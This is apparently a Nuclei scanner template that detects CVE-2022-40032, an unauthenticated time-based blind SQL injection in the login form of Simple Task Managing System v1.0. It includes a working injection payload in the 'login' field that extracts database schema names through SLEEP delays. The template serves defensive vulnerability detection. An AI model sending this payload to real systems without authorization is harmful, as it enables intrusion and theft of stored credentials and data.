Simple Task Managing System v1.0 - SQL Injection

id: CVE-2022-40032

info:
  name: Simple Task Managing System v1.0 - SQL Injection
  author: r3Y3r53
  severity: critical
  description: |
    SQL injection occurs when a web application doesn't properly validate or sanitize user input that is used in SQL queries. Attackers can exploit this by injecting malicious SQL code into the input fields of a web application, tricking the application into executing unintended database queries.
  impact: |
    Unauthenticated attackers can execute time-based blind SQL injection through the login parameter in loginValidation.php, potentially extracting sensitive database information including user credentials, task data, and system configuration.
  remediation: |
    Update Simple Task Managing System to a patched version that properly sanitizes and parameterizes SQL queries in loginValidation.php.
  reference:
    - https://www.exploit-db.com/exploits/51273
    - https://www.sourcecodester.com/php/15624/simple-task-managing-system-php-mysqli-free-source-code.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40032
    - http://packetstormsecurity.com/files/171739/Simple-Task-Managing-System-1.0-SQL-Injection.html
    - https://www.sourcecodester.com/sites/default/files/download/razormist/Task%20Managing%20System%20in%20PHP.zip
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-40032
    cwe-id: CWE-89
    epss-score: 0.20693
    epss-percentile: 0.97223
    cpe: cpe:2.3:a:simple_task_managing_system_project:simple_task_managing_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: simple_task_managing_system_project
    product: simple_task_managing_system
  tags: time-based-sqli,cve,cve2022,packetstorm,simple-task,stms,sqli,simple_task_managing_system_project,vuln

http:
  - raw:
      - |
        @timeout: 30s
        POST /task/loginValidation.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        login=test'%20AND%20(SELECT%208979%20FROM%20(SELECT(SLEEP(10-(IF(ORD(MID((SELECT%20DISTINCT(IFNULL(CAST(schema_name%20AS%20NCHAR)%2c0x20))%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20LIMIT%200%2c1)%2c12%2c1))%3e48%2c0%2c1)))))jaXJ)--%20HgKq&password=

    matchers:
      - type: dsl
        dsl:
          - 'duration>=10'
          - 'status_code == 302'
          - "contains(location, 'login.php')"
          - 'contains(content_type, "text/html")'
        condition: and
# digest: 4b0a00483046022100d4a29025bf933a5377c2587e5ef631b8dccb447dff4778c743e58ee6ce3a1948022100c105dd3d8cb5d05250d00356769345b6def57c19a3c1ea113af7bf7e70ba9a28:922c64590222798bb761d5b6d8e72950